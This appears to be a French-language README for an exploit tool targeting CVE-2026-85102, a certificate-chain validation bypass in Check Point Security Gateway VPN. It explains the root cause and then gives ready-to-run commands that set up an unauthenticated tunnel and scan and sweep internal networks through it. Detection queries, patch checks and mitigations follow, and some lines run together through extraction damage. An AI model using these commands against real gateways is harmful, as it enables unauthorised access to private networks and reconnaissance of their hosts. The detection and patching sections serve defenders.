
Contournement d'authentification et exécution de code à distance dans l'accès à distance et le VPN site à site
Exploite CVE-2026-85102 pour établir un tunnel VPN non authentifié sur Check Point Security Gateway en contournant la validation de la chaîne de certificats IKE.
Avis officiel Check Point : sk1000117
Produit : Check Point Security Gateway, Check Point Spark Firewall
Versions affectées : R81.20, R82, R82.10 (pre-Bundle T24), R80-R81.10 (toutes EoS)
Non affecté : R82.20
Composant : libcpcert.so — fwKeyHolder_imp::IsChainTrusted()
Cause racine : IsChainTrusted() appelle CanonizeChain() mais ignore sa valeur de retour. Même lorsque la canonicalisation de la chaîne échoue, la fonction renvoie TRUSTED.
Exploitation : Un attaquant peut :
CanonizeChain()CVE-2026-85102.py # CVE-2026-85102: VPN tunnel establishment (auth bypass)
cp_postex.py # Post-exploitation helper (tunnel management, recon)
pip install cryptographyopenssl, iproute2 (commande ip), nc (netcat)testuser)# Establish tunnel with certificate bypass
sudo python3 CVE-2026-85102.py<target_ip> -u <vpn_username>
# Output includes Office Mode IP, e.g., 172.16.10.3
# Clean up tunnel
sudo python3 CVE-2026-85102.py--cleanup
# Establish tunnel and save state
sudo python3 cp_postex.py tunnel up <target_ip> -u <vpn_username>
# Check tunnel status
sudo python3 cp_postex.py tunnel status
# Scan gateway ports through tunnel
sudo python3 cp_postex.py recon scan
sudo python3 cp_postex.py recon scan -p 80,443,18190-18208
# Sweep internal networks through tunnel
sudo python3 cp_postex.py recon sweep 192.168.1.0/24
sudo python3 cp_postex.py recon sweep 192.168.1.0/24 -p 22
# Tear down tunnel
sudo python3 cp_postex.py tunnel down
sudo python3 cp_postex.py tunnel down -f # Flush all xfrm state
| Paramètre | Description |
|---|---|
<target_ip> | IP de la passerelle Check Point |
-u <username> | Nom d'utilisateur VPN (par défaut : testuser) |
-l <local_ip> | IP locale manuelle pour les systèmes multi-interfaces |
-c <cert_host> | Hôte alternatif pour l'extraction du certificat ICA |
--cleanup | Supprimer la configuration du tunnel |
Examinez les journaux pour détecter des connexions Mobile Access anormales basées sur certificat. Dans SmartConsole/Spark Management, accédez à Logs & Monitor / Logs & Events et recherchez les événements postérieurs au 12 septembre 2026 :
product: "Mobile Access" AND action: "Log In" AND "Certificate"
Inspectez les événements pour les utilisateurs, clients ou adresses IP sources non reconnus.
Sujets de certificat suspects observés :
CN=vpn,OU=users,O=globalCN=vpn-user,OU=users,O=globalCN=vpnuser,OU=users,O=globalInstallez LivePatch Take 26 (BUNDLE_URGENT_SECURITY_UPDATE) :
Validez l'installation :
# Check LivePatch status
cplp list
# Expected output includes:
# cpcert:cpca* CVE-2026-85102 CVE-2026-85103
# cpcert:iked* CVE-2026-85102 CVE-2026-85103
# cpcert:vpn* CVE-2026-85102 CVE-2026-85103
# cpcert:vpnrad* CVE-2026-85102 CVE-2026-85103
# cpcert_cprid:cprid* CVE-2026-85102 CVE-2026-85103
Le correctif modifie libcpcert.so :
// IsChainTrusted: Check CanonizeChain return value
result = CanonizeChain(this, trusted_ca, sorted, out, i, trust_type);
if (!result) {
trusted_ca = NULL;
}
return trusted_ca;
// CanonizeChain: Check intermediate operation returns
if (!CopyChain(...)) return NULL;
if (!TruncateChain(...)) return NULL;
Désactivez les règles VPN implicites et définissez manuellement l'accès VPN pour UDP/500 et UDP/4500 pour des adresses IP de pairs spécifiques. Voir sk179346.
Désactivez les règles implicites du VPN d'accès à distance. Créez des règles de contrôle d'accès explicites autorisant les services VPN d'accès à distance requis vers la passerelle de sécurité :
Remarque : Ces atténuations ne s'appliquent pas aux pare-feu Spark gérés localement.
Ce code d'exploitation est fourni à des fins de recherche et de test en sécurité. Utilisez-le sur vos propres systèmes ou avec l'autorisation explicite du propriétaire du système.